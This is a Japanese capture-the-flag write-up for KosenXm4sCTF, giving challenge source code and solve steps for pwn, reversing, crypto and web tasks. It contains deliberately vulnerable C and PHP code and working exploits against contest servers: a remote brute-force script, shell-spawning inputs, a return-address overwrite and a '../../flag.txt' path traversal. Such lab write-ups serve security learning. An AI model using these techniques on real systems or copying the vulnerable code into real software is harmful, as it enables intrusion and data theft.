KosenXm4sCTF writeup
GitHub - KosenXmasCTF/problems: 問題一覧のリポジトリです
目次
成績

Writeup
Pwn
match_flag
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> #include<string.h> int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); FILE *fp = fopen("./flag.txt", "r"); if(fp == NULL) { puts("flag.txt not found!"); exit(0); } char flag[0x100]; fgets(flag, 0x100, fp); char input[0x100]; fgets(input, 0x100, stdin); int len = strlen(input) - 1; if(strncmp(flag, input, len) == 0) { puts("Correct!!!"); } else { puts("Incorrect..."); } }
入力した文字数だけflagと比較してくれるので総当たりするだけ。 solve.py
from pwn import * pattern = ' abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_!"#$%&\'()*+,-./:;<=>?@[\\]^`|}' s = 'xm4s{' f = True while f: for c in pattern: p = remote('27.133.155.191', 30009) p.sendline(s+c) ret = p.recvline() log.warn(s) if 'Correct' in str(ret): s += c log.warn('flag : ' + s) if c == '}': f = False break else: f = False
$ python3 solve.py
[!] flag : xm4s{you got flag finaly hahaha}
本番では英数字・記号全部含めてもヒットしなかったので焦りましたが、flagにはスペースを使っているようです。
beginners_shell
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); char program[0x1000]; puts("Enter your program!"); fgets(program, 0x1000, stdin); FILE *fp = fopen("/tmp/program.c", "w"); fprintf(fp, "%s", program); fclose(fp); system("rm /tmp/program"); system("gcc /tmp/program.c -o /tmp/program"); system("/tmp/program"); system("rm /tmp/program"); }
入力したCのプログラムをそのまま実行してくれるらしい。
$ nc 153.125.225.197 30002
Enter your program!
int main() { system("/bin/sh"); }
...
cat flag.txt
xm4s{Yes!!To_get_SHELL_is_goal}
dead_or_alive
main.c
#include<stdio.h> #include<stdlib.h> #include<string.h> #include<unistd.h> char* get_secret_password() { char password[0x1000]; // I can get very very long password!! FILE *fp = fopen("./password.txt", "r"); if(fp == NULL) { puts("password.txt not found."); exit(0); } fgets(password, 0x1000, fp); char* ret = password; return ret; } void login(char *password) { char input[512]; printf("Input your password:"); fgets(input, 512, stdin); if(strcmp(input, password) == 0) { puts("You logged in!"); system("/bin/sh"); } } void hello() { char name[0x1000]; puts("Tell me your name!"); fgets(name, 0x1000, stdin); printf("Hello %s\n", name); } int menu() { int ret; printf( "0: Hello\n" "1: Login\n" ); scanf("%d%*c", &ret); return ret; } int main() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); char* pass = get_secret_password(); while(1) { int option = menu(); if(option == 0) { hello(); } else if(option == 1) { login(pass); } } }
hello()とget_secret_password()が確保する領域が同じになるので,hello()で入力した名前がそのままpasswordに変わる。 なのでhello()とlogin()で同じ文字列を入力するだけ
$ nc 153.125.225.197 30005
0: Hello
1: Login
0
Tell me your name!
a
Hello a
0: Hello
1: Login
1
Input your password:a
You logged in!
cat flag.txt
xm4s{welc0me_t0_undergr0und}
write_where_what
main.c
#include<stdio.h> #include<unistd.h> #include<stdlib.h> void call_me_to_win() { system("/bin/sh"); } int main() { // set up for CTF setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); alarm(60); printf("call_me_to_win at %p\n", call_me_to_win); unsigned long value = 1; // I like unsigned long value! printf("%lx\n", &value); size_t where, what; printf("where:"); scanf("%lx", &where); printf("what:"); scanf("%lx", &what); *(size_t*)where = what; // where に what を書き込む }
2番目に表示されたvalueのアドレス+40(0x28)をwhereに入力し、whatにcall_me_to_winのアドレスを入力する。
$ nc 153.125.225.197 30003
call_me_to_win at 0x401e15
7ffcc4619b50
where:0x7ffcc4619b78
what:0x401e15
cat flag.txt
xm4s{i_can_rewrite_memory...}
Rev
strings_binary
$ strings binary_strings | grep xm4s
xm4s{strings_binary_is_simple_and_powerful!}
countdown
binaryをアセンブルすると
0x0000000000401a62 <+4>: sub rsp,0x30 0x0000000000401a66 <+8>: lea rdi,[rip+0x5af] ## 0x40201c 0x0000000000401a6d <+15>: call 0x401030 <puts@plt> 0x0000000000401a72 <+20>: mov eax,0x0 0x0000000000401a77 <+25>: call 0x4018c8 <wait> 0x0000000000401a7c <+30>: call 0x401172 <generate_flag> 0x0000000000401a81 <+35>: lea rdi,[rip+0x5a8] # 0x402030 0x0000000000401a88 <+42>: call 0x401030 <puts@plt> 0x0000000000401a8d <+47>: lea rdi,[rip+0x5c0] # 0x402054 0x0000000000401a94 <+54>: mov eax,0x0 0x0000000000401a99 <+59>: call 0x401040 <printf@plt>
generate_flagに飛べばflagが出そうということがわかったのでset $rip=0x401a7cしてgenerate_flagで飛ぶ。
実行はgdbで行った。
実行を進めると
[----------------------------------registers-----------------------------------]
RAX: 0x23 ('#')
RBX: 0x0
RCX: 0x7d ('}')
RDX: 0x404080 ("xm4s{kotoshimo_mou_nennmatsu_desune}")
RSI: 0x20 (' ')
RDI: 0x402030 ("Happy new year! We check your flag!")
RBP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>: push r15)
RSP: 0x7fffffffe9c0 --> 0x401ae0 (<__libc_csu_init>: push r15)
RIP: 0x401a88 (<main+42>: call 0x401030 <puts@plt>)
R8 : 0x7ffff7dced80 --> 0x0
R9 : 0x7ffff7dced80 --> 0x0
R10: 0x0
R11: 0x0
R12: 0x401090 (<_start>: xor ebp,ebp)
R13: 0x7fffffffeaa0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x401a77 <main+25>: call 0x4018c8 <wait>
0x401a7c <main+30>: call 0x401172 <generate_flag>
0x401a81 <main+35>: lea rdi,[rip+0x5a8] # 0x402030
=> 0x401a88 <main+42>: call 0x401030 <puts@plt>
0x401a8d <main+47>: lea rdi,[rip+0x5c0] # 0x402054
0x401a94 <main+54>: mov eax,0x0
0x401a99 <main+59>: call 0x401040 <printf@plt>
0x401a9e <main+64>: lea rax,[rbp-0x30]
rdxにflagがセットされている。
first_asm
first_asm.c
/* gcc -O0 -o binary binary.c check_flag.s */ #include <stdio.h> #include <stdbool.h> extern bool check_flag(char* input); int main(void) { char input[33]; printf("+------------+\n"); printf("|FLAG CHECKER|\n"); printf("+------------+\n"); printf("Input: "); scanf("%32s%*c", input); if (check_flag(input)) { printf("Correct!\n"); } else { printf("Wrong...\n"); } }
check_flag.s
.intel_syntax noprefix
.globl check_flag, key, answer
/*
mov a, b
a = b
add a, b
a = a + b
xor a, b
a = a ^ b
lea a, b
a = &b
SIZE PTR [a]
aからSIZE分読みこむ
QWORD: 8byte
DWORD: 4byte
WORD: 2byte
BYTE: 1bytes
jmp label
goto label
cmp a, b
j** label
jne: if (a != b) goto label
jle: if (a <= b) goto label
rax, rbx, cl, dl
レジスタ。一時変数だと思っても問題ないが、このアーキテクチャではいくつか変数には役割がある
rdi: 第一引数
rax: 返り値
rbp: スタックの一番下を指すポインタ
その他rspなどにも役割は存在するが、今回は関係ないので割愛する。
スタック:
ローカル変数に割り当てられるメモリのこと。
+------+
+ 0x14 +
+------+ <= rbp - 4
+ 0x13 +
+------+ <= rbp - 3
+ 0x12 +
+------+ <= rbp - 2
+ 0x11 +
+------+ <= rbp - 1
+ 0x10 +
+------+ <= rbp
BYTE PTR [rbp - 4]は 0x13、
DWORD PTR [rbp - 4]は 0x10111213 に当たる。
*/
# Let's reversing!
key:
.string ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
answer:
.string "CAn_U_Re4d_A55emBly?L3t's_tRY_it"
check_flag:
# 関数の開始処理 (おまじない)
push rbp
mov rbp, rsp
mov QWORD PTR [rbp - 0x8], rdi
mov QWORD PTR [rbp - 0x10], 0
.for_start:
mov rax, QWORD PTR [rbp - 0x8]
mov rbx, QWORD PTR [rbp - 0x10]
mov cl, BYTE PTR [rax + rbx]
lea rax, key
mov rbx, QWORD PTR [rbp - 0x10]
mov dl, BYTE PTR [rax + rbx]
xor cl, dl
lea rax, answer
mov rbx, QWORD PTR [rbp - 0x10]
mov dl, BYTE PTR [rax + rbx]
cmp cl, dl
jne .if_false
.if_true:
jmp .if_end
.if_false:
mov eax, 0
jmp .function_end
.if_end:
.for_end:
add QWORD PTR [rbp - 0x10], 1
cmp QWORD PTR [rbp - 0x10], 32
jle .for_start
mov eax, 1
.function_end:
# 関数の終了処理 (おまじない)
leave
ret
とても丁寧な解説があったが、アセンブリ読みたくなかったので気合で解くことにした(すみません)
まずはanswerの文字列を入力したがWrong..と出たため違う方法を考える。
その上にkeyというのがあり、仕方なくアセンブリを少し読むとxor命令が出てきてたのでxor暗号的なやつと推測。
スクリプトを書く。
solve.py
key = ";,Z,.(7TWT2$jAU2#YLZ!QE^,(D h;H\t"
base = "CAn_U_Re4d_A55emBly?L3t's_tRY_it"
for i in range(len(base)):
print(chr(ord(key[i])^ord(base[i])), end='')
$ python3 solve.py
xm4s{we1c0me_t0_a55emb1y_w0r1d!}%
実行すると答えが出た。
Crypto
do_you_know_RSA?
param.txt
N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 E = 65537 crypted message is 736752258923832368359268459529023058483734448152703465168101
RSAの初心者問題。解くだけ。 solve.py
N = 872466878637044085809546928077402525188932163354013071311247 p = 1202641222143185422372899516011 q = N // p e = 65537 c = 736752258923832368359268459529023058483734448152703465168101 phi = (p-1) * (q-1) from Crypto.Util.number import * d = inverse(e, phi) m = pow(c, d, N) print(long_to_bytes(m))
$ python3 solve.py
b'xm4s{dont_leak_p_and_q!!}'
advanced_caesar
encrypted_flag.txt
xn4u{fejyhzwyjazwzqkszurwhyqaop}
flag形式がxm4sなのでそこから推測すると最初は0, 次は1, 2...nずれていることがわかるのでそれを元に戻す。
solve.py
s = 'xn4u{fejyhzwyjazwzqkszurwhyqaop}' def caesar_decode(c, n): return chr((ord(c)-ord('a')-n) % 26 + ord('a')) import codecs i = 0 for c in s: if c.isalpha(): print(caesar_decode(c, i), end='') i += 1 else: print(c, end='')
$ python3 solve.py
xm4s{caesarnoyomikatagawakarann}%
bad_hash
hash.py
#!/bin/python3 def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) with open("./password.txt") as f: answer = f.read() ans_x, ans_m = hash(answer) print(f'ans_x {ans_x}, ans_m {ans_m}') user_input = input() if 10 <= len(user_input): print("too long...") inp_x, inp_m = hash(user_input) print(f'inp_x {inp_x}, inp_m {inp_m}') if ans_x == inp_x and ans_m == inp_m: print("You hava a password!!") with open('./flag.txt') as f: print(f.read())
$ nc 153.125.225.197 30010 ans_x 88, ans_m 36
どうやらans_xが88, ans_mが36になるような何かを入力すれば良いらしい。 綺麗な解法があるのだろうが、私はゴリ押しでやった。
solve.py
def hash(base): xor_sum = 0 mod_sum = 0 for c in base.encode(): xor_sum ^= c mod_sum += c mod_sum %= 100 return (xor_sum, mod_sum) import string for c1 in string.ascii_letters: for c2 in string.ascii_letters: for c3 in string.ascii_letters: s = c1+c2+c3 print(s + ':' + str(hash(s)))
for文を三重にしたあたりで欲しい値が出たのでそれを使うことに。
$ python3 solve.py | grep 88 | grep 36 HJZ:(88, 36) HZJ:(88, 36) JHZ:(88, 36) JJX:(88, 36) JXJ:(88, 36) JZH:(88, 36) XJJ:(88, 36) ZHJ:(88, 36) ZJH:(88, 36)
どれかを使えば良いでこれを入力するとflagが出る。
$ nc 153.125.225.197 30010
ans_x 88, ans_m 36
HJZ
inp_x 88, inp_m 36
You hava a password!!
xm4s{xor_and_modsum!double_hash!!}
Web
bad_path
index.php
<?php $content = ""; if (isset($_GET["ext"])) { $content = file_get_contents("resource/" . $_GET["ext"]); } ?> <!DOCTYPE html> <html lang="ja"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>HelloWorld</title> <style type="text/css"> pre { margin: 1em 0; padding: 1em; background: #25292f; color: #fff; white-space: pre-wrap; } </style> </head> <body> <h1>Hello World!</h1> <form> <select name="ext"> <option value="hello.js">JavaScript</option> <option value="hello.py">Python</option> <option value="hello.rs">Rust</option> <option value="hello.c">C</option> </select> <input type="submit" value="View"> </form> <pre><?php echo htmlspecialchars($content, ENT_QUOTES) ?></pre> </body> </html>
Dockerfile
FROM php:8.0-apache ADD ./index.php /var/www/html/index.php ADD ./flag.txt /var/www/flag.txt ADD ./resource/ /var/www/html/resource/
https://bad-path.xm4s.net/index.php?ext=../../flag.txtでアクセスするとflagが出る。